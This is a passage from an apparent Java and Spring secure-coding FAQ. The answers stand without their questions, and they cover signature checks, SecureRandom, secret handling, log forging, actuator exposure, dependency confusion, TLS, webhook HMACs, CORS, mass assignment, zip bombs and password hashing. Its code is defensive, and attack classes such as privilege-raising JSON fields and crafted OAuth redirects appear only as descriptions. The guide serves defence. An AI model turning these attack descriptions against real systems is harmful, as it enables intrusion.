• Static analysis (SpotBugs, SonarQube, Appknox) flags ECB.

verify returns false for a bad signature rather than throwing, so treating "no exception" as success accepts invalid signatures. Also swallowing exceptions masks malformed input.

Signature s = Signature.getInstance("SHA256withRSA");
s.initVerify(publicKey);
s.update(data);
boolean ok = s.verify(sigBytes); // must check this boolean
if (!ok) throw new SecurityException("bad signature");

• Fail closed on every exception path.
• Keep the Psychic Signatures case in mind: always run a patched JDK.

Look for SecureRandom.getInstanceStrong() or a NativePRNGBlocking configuration, which reads /dev/random. Use the default new SecureRandom(), which seeds from /dev/urandom without blocking on modern kernels (5.6+ makes /dev/random non-blocking after init).

• Check thread dumps for NativePRNG or SeedGenerator frames.
• On old JDK 8 setups the egd workaround -Djava.security.egd=file:/dev/./urandom was used; the odd /./ was needed to bypass a special-case in older JDKs.
• Consider installing haveged or rng-tools only on very old kernels.

Constructing and seeding SecureRandom repeatedly is costly with some providers and can generate pressure on entropy sources. Reuse a single shared instance (thread-safe), possibly as a static final field.

private static final SecureRandom RNG = new SecureRandom();

static String token() {
    byte[] b = new byte[32];
    RNG.nextBytes(b);
    return Base64.getUrlEncoder().withoutPadding().encodeToString(b);
}

• With the NativePRNG, calls synchronize on a lock; measure before adding per-thread instances.

Anything shipped to a client can be extracted by decompiling (apktool, jadx); obfuscation only slows analysis. Treat embedded keys as public identifiers and design so their compromise has limited impact.

• Move secret operations to the backend; the app authenticates users and calls your API.
• Restrict keys (package name + signature, referrer, quota, scope) and rotate on leak.
• Use attestation (Play Integrity, App Attest) and short-lived tokens obtained after attestation.
• Scan builds with mobile security tools (e.g. Appknox) for hardcoded secrets.

Image layers are retrievable by anyone with pull access, so rotate those credentials and remove them from the image. Provide secrets at runtime and have Spring read them from the environment or mounted files.

spring:
  datasource:
    url: ${DB_URL}
    username: ${DB_USER}
    password: ${DB_PASSWORD}
  config:
    import: optional:configtree:/run/secrets/

• Use orchestrator secrets (Kubernetes Secret or Vault agent injection).
• Rebuild without secrets; deleting a file in a later layer does not remove it from earlier layers.

Stop the leak first: change the log level or remove the statement and deploy. Then purge or restrict the affected log storage, rotate any exposed credentials and assess breach-notification duties.

• Replace body logging with allow-listed fields.
• Add masking in the logging layer and tests that assert no sensitive keys appear.
• Review downstream copies: log aggregators, backups, APM traces, error trackers.
• Restrict access and set retention.

Log forging (CRLF injection into logs): newlines let the attacker fabricate entries or confuse parsers and SIEM rules.

• Strip or encode CR/LF in untrusted values before logging, or use a structured JSON layout that escapes them.
• Parameterized logging (log.info("user={}", user)) does not sanitize newlines.
• Pair with validation at input boundaries.

env reveals configuration (sometimes unmasked secrets, and /actuator/env POST with Spring Cloud can alter properties), and heapdump provides the full heap with passwords, session tokens and private keys.

• Immediately restrict exposure and rotate any secrets present.
• Set management.endpoints.web.exposure.include=health,info, secure with Spring Security roles, and use a separate management port.
• Check access logs for earlier downloads.

Yes, upgrade as a matter of course, but this affects urgency. Many Jackson CVEs require default typing or specific gadgets on the classpath; without them, exploitability is low. Document the triage and schedule the patch.

• Check the advisory preconditions (activateDefaultTyping, @JsonTypeInfo(CLASS), gadget jars).
• Spring Boot BOM upgrades usually fix it in a patch release.
• Keep a reachability note for audit trails.

Dependency confusion: someone published a package with your internal groupId/artifactId and a higher version to a public repository, and the resolver preferred it.

• Route all resolution through a repository manager with the internal groupId served only from the private repository (routing rules/exclusive content).
• Claim your namespace on Central (Sonatype verifies group ownership).
• Enable checksum/dependency verification (gradle --write-verification-metadata) so unexpected artifacts fail the build.
• Investigate whether any build ran the malicious artifact; rotate CI secrets.

Without an inventory you grep repos; with SBOMs you query. Generate CycloneDX SBOMs in CI per build and store them (e.g. Dependency-Track) so you can search by group:artifact:version and see deployed artifacts.

• Scan images (Trivy, Grype) in the registry and at runtime.
• Map artifacts to services/owners and track patch SLAs.
• Mitigate before patching if possible (WAF rule, feature flag, config switch).

--add-opens is acceptable as a narrow, documented stopgap for a specific package and module, but the proper fix is upgrading the library to a version that does not reflect into JDK internals.

• Scope it: --add-opens java.base/java.lang=ALL-UNNAMED only for the needed package.
• Track each flag with an owner and removal ticket.
• Wide opens weaken the encapsulation that blocks deserialization and reflection hacks on JDK internals.

On Java 24 the call throws UnsupportedOperationException, and -Djava.security.manager=allow no longer enables it, so plugins run with full privileges. Isolation must move outside the JVM.

• Run plugins in separate processes or containers with seccomp, read-only filesystem, no network, and cgroup limits.
• Use a narrow IPC (gRPC) and treat plugin code as untrusted.
• Consider Wasm sandboxes (Chicory) for compute-only plugins.
• Stay on Java 17-23 only as a temporary bridge, with the deprecation warnings tracked.

Private networks are not trustworthy: compromised hosts, misconfigured peering, and shared clusters allow sniffing. Compliance regimes (PCI, HIPAA) often require encryption in transit internally too.

• Use TLS for service-to-service traffic, or a service mesh (mTLS via Istio/Linkerd) for automated cert rotation.
• Configure Spring clients with proper truststores; keep hostname verification.
• Authenticate callers (mTLS or signed tokens) beyond network location.

System properties are read by the default SSLContext/TrustManagerFactory initialisation. If you call ctx.init(null, customTrustManagers, null), your managers replace the defaults. If you pass null for trust managers, the default (with properties) is used. Library-specific clients (Apache HttpClient, OkHttp) may not use JVM defaults at all.

• Print the effective store with -Djavax.net.debug=trustmanager.
• Verify the file path and password; a wrong password gives an IOException, a wrong file silently falls back sometimes.

Likely causes: the server truststore lacks the new issuing CA, the new cert's EKU lacks clientAuth, the chain is incomplete, or long-lived pooled connections still use the old identity and then fail on renegotiation. Confirm with handshake debug logs.

• Compare keytool -list -v output for validity, EKU, SAN and issuer.
• Roll out trust (new CA in truststores) before rotating certs.
• Reload KeyManager on rotation (Spring Boot SSL bundles) and recycle connection pools.

Compute HMAC-SHA256 over the raw request body (plus a timestamp) with the shared secret and compare with the header value in constant time. Reject old timestamps to prevent replay.

Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret, "HmacSHA256"));
byte[] expected = mac.doFinal(rawBody);
boolean ok = MessageDigest.isEqual(expected, HexFormat.of().parseHex(sigHeader));

• Use the raw bytes, not re-serialized JSON (field order and whitespace differ).
• Reject when |now - timestamp| > 5 min and track delivery IDs.

Six digits is 1,000,000 possibilities; without rate limiting an attacker enumerates them within the window. Use at least 128-bit random tokens for links, or short-lived (10 minutes) codes with strict attempt limits.

• Limit attempts per account and IP, then invalidate the token after N failures.
• Store only a hash, bind to the user, make it single-use.
• Notify the user on reset and invalidate sessions after a successful reset.

Layer defenses: per-IP and per-account rate limiting (Bucket4j, gateway limits), progressive delays, CAPTCHA or risk-based challenge, MFA, breached-password checks (HIBP k-anonymity API), and alerting on high failure rates.

• Avoid hard account lockout that lets attackers lock out real users; use backoff.
• Make responses and timing identical for unknown users and wrong passwords.
• Use device and IP reputation at the edge/WAF.

Combine controls: a code review checklist, automated scanning for secrets and sensitive key names, centralized redaction, and dedicated types for secrets.

• Wrap secrets in a Secret class whose toString() returns "****".
• Configure HTTP client and server logging to exclude headers (Authorization, Cookie, Set-Cookie).
• Short token TTLs reduce impact of leaked logs.
• Secrets scanning on log sinks (e.g., DLP rules) as a last line.

Spring rejects * with credentials (IllegalArgumentException in CorsConfiguration validation); the browser spec also forbids it. Developers then "fix" it by reflecting the request Origin header, which allows any site to read authenticated responses.

• Allow-list explicit origins and set allowedOriginPatterns carefully.
• CORS is not authentication; it only relaxes the browser's same-origin read restrictions.
• Avoid Access-Control-Allow-Origin: null.

Mass assignment: a client adds "role":"ADMIN" or "id" or "enabled":true and Jackson sets those fields, escalating privileges.

• Bind to a dedicated DTO containing only permitted fields and map explicitly.
• Use @JsonIgnoreProperties(ignoreUnknown = false) or FAIL_ON_UNKNOWN_PROPERTIES to reject surprises.
• Use @JsonProperty(access = READ_ONLY) for server-controlled fields as an additional barrier.

Expression languages (SpEL, OGNL, EL, FreeMarker, Velocity) can call arbitrary methods, so user-controlled expressions lead to RCE (Spring4Shell and Struts OGNL flaws are in this family).

• Don't evaluate user input as expressions; if needed, use SimpleEvaluationContext in Spring, which disables type references and constructors.
• Sandbox template engines and restrict classes (TemplateClassResolver in FreeMarker).
• Keep frameworks patched.

A decompression bomb. Enforce limits while streaming: maximum entry count, maximum bytes per entry and total, and a compression ratio threshold, aborting when exceeded. Do not trust declared sizes.

long total = 0;
byte[] buf = new byte[8192];
int n;
while ((n = zin.read(buf)) > 0) {
    total += n;
    if (total > MAX_TOTAL) throw new IOException("Archive too large");
    out.write(buf, 0, n);
}

• Extract in a quota-limited temp directory and clean up.
• Combine with path validation for Zip Slip.

An attacker crafts a login link with their own redirect_uri; after the victim authenticates, the authorization code or token is delivered to the attacker, causing account takeover. Even a plain open redirect aids phishing.

• Require exact string match against pre-registered redirect URIs (no wildcards).
• Use authorization code flow with PKCE and the state parameter.
• For app-level redirects (post-login next), allow only relative paths or allow-listed hosts.

Scope the key to the minimum API permissions, store it in a secrets manager, fetch at start-up through workload identity, and rotate on schedule with overlap (two active keys) so rotation has no downtime.

• Alert on use from unexpected IPs; use IP allow-listing where the provider supports it.
• Audit access to the secret and avoid copies in CI variables.
• Prepare a documented revoke-and-replace runbook, and test it.

Reject it: a predictable salt and a fast hash still allow targeted GPU cracking, and the same username/password pair yields the same hash across systems. Use Argon2id or bcrypt via Spring's PasswordEncoder with a random per-user salt generated by the library.

PasswordEncoder enc = new BCryptPasswordEncoder(12);
String stored = enc.encode(rawPassword);
boolean ok = enc.matches(rawPassword, stored);

• The salt is embedded in the bcrypt output, so there is no separate column.
• Rehash on login when the stored cost is below the current policy (upgradeEncoding).

Error details reveal class names, library versions, SQL structure and file paths, helping targeted attacks. Return a generic message with a correlation ID and log the detail server-side.

server:
  error:
    include-stacktrace: never
    include-message: never
    include-binding-errors: never

• Implement a @RestControllerAdvice returning RFC 7807 ProblemDetail with safe fields.
• Disable Whitelabel/debug pages in production and spring.devtools.